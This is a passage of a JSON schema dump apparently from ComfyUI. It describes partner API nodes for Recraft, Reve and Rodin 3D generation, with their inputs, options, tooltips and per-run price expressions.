"grain_20", "graphic_intensity", "hand_drawn", "hand_drawn_outline", "handmade_3d", "hard_comics", "infantile_sketch", "long_shadow", "modern_folk", "multicolor", "neon_calm", "noir", "nostalgic_pastel", "outline_details", "pastel_gradient", "pastel_sketch", "pixel_art", "plastic", "pop_art", "pop_renaissance", "seamless", "street_art", "tablet_sketch", "urban_glow", "urban_sketching", "vanilla_dreams", "young_adult_book", "young_adult_book_2"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3DigitalIllustration", "display_name": "Recraft Style - Digital Illustration", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3LogoRaster": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["emblem_graffiti", "emblem_pop_art", "emblem_punk", "emblem_stamp", "emblem_vintage"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3LogoRaster", "display_name": "Recraft Style - Logo Raster", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3InfiniteStyleLibrary": {"input": {"required": {"style_id": ["STRING", {"tooltip": "UUID of style from Infinite Style Library.", "default": "", "multiline": false}]}}, "input_order": {"required": ["style_id"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3InfiniteStyleLibrary", "display_name": "Recraft Style - Infinite Style Library", "description": "Choose style based on preexisting UUID from Recraft's Infinite Style Library.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreateStyleNode": {"input": {"required": {"style": ["COMBO", {"tooltip": "The base style of the generated images.", "multiselect": false, "options": ["realistic_image", "digital_illustration"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["style", "images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["style_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreateStyleNode", "display_name": "Recraft Create Style", "description": "Create a custom style from reference images. Upload 1-5 images to use as style references. Total size of all images is limited to 5 MB.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftColorRGB": {"input": {"required": {"r": ["INT", {"tooltip": "Red value of color.", "default": 0, "min": 0, "max": 255}], "g": ["INT", {"tooltip": "Green value of color.", "default": 0, "min": 0, "max": 255}], "b": ["INT", {"tooltip": "Blue value of color.", "default": 0, "min": 0, "max": 255}]}, "optional": {"recraft_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": ["r", "g", "b"], "optional": ["recraft_color"]}, "is_input_list": false, "output": ["RECRAFT_COLOR"], "output_is_list": [false], "output_name": ["recraft_color"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftColorRGB", "display_name": "Recraft Color RGB", "description": "Create Recraft Color by choosing specific RGB values.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftControls": {"input": {"required": {}, "optional": {"colors": ["RECRAFT_COLOR", {}], "background_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": [], "optional": ["colors", "background_color"]}, "is_input_list": false, "output": ["RECRAFT_CONTROLS"], "output_is_list": [false], "output_name": ["recraft_controls"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftControls", "display_name": "Recraft Controls", "description": "Create Recraft Controls for customizing Recraft generation.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToImageNode", "display_name": "Recraft V4 Text to Image", "description": "Generates images using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.04, \"recraftv4_pro\": 0.25};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToVectorNode", "display_name": "Recraft V4 Text to Vector", "description": "Generates SVG using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.08, \"recraftv4_pro\": 0.30};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageCreateNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for generation.", "options": [{"key": "reve-create@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["3:2", "16:9", "9:16", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageCreateNode", "display_name": "Reve Image Create", "description": "Generate images from text descriptions using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n widgets.upscale = \"enabled\" ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0762, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0591, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0457, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.03432, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageEditNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to edit."}], "edit_instruction": ["STRING", {"tooltip": "Text description of how to edit the image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for editing.", "options": [{"key": "reve-edit@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-edit-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "edit_instruction", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageEditNode", "display_name": "Reve Image Edit", "description": "Edit images using natural language instructions with Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageRemixNode": {"input": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image_", "min": 1, "max": 6}}], "prompt": ["STRING", {"tooltip": "Text description of the desired image. May include XML img tags to reference specific images by index, e.g. 0, 1, etc.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for remixing.", "options": [{"key": "reve-remix@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-remix-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["reference_images", "prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageRemixNode", "display_name": "Reve Image Remix", "description": "Combine reference images with text prompts to create new images using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n $isFast := $contains(widgets.model, \"fast\");\n $enabled := widgets.upscale = \"enabled\";\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $isFast\n ? {\"type\": \"usd\", \"usd\": 0.01001, \"format\": $fmt}\n : $enabled ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0991, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0819, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0686, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.0572, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Regular": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Regular", "display_name": "Rodin 3D Generate - Regular Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Detail": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Detail", "display_name": "Rodin 3D Generate - Detail Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Smooth": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "18K-Quad", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "200K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Smooth", "display_name": "Rodin 3D Generate - Smooth Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Sketch": {"input": {"required": {"Images": ["IMAGE", {}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images"], "optional": ["Seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Sketch", "display_name": "Rodin 3D Generate - Sketch Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen2": {"input": {"required": {"Images": ["IMAGE", {}], "TAPose": ["BOOLEAN", {"advanced": true, "default": false}]}, "optional": {"Seed": ["INT", {"default": 0, "min": 0, "max": 65535, "display": "number"}], "Material_Type": ["COMBO", {"default": "PBR", "multiselect": false, "options": ["PBR", "Shaded"]}], "Polygon_count": ["COMBO", {"default": "500K-Triangle", "multiselect": false, "options": ["4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["Images", "TAPose"], "optional": ["Seed", "Material_Type", "Polygon_count"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB"], "output_is_list": [false, false], "output_name": ["3D Model Path", "GLB"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Rodin3D_Gen2", "display_name": "Rodin 3D Generate - Gen-2 Generate", "description": "Generate 3D Assets using Rodin API", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Image": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "1-5 images. The first image is used for materials when multi-view.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High 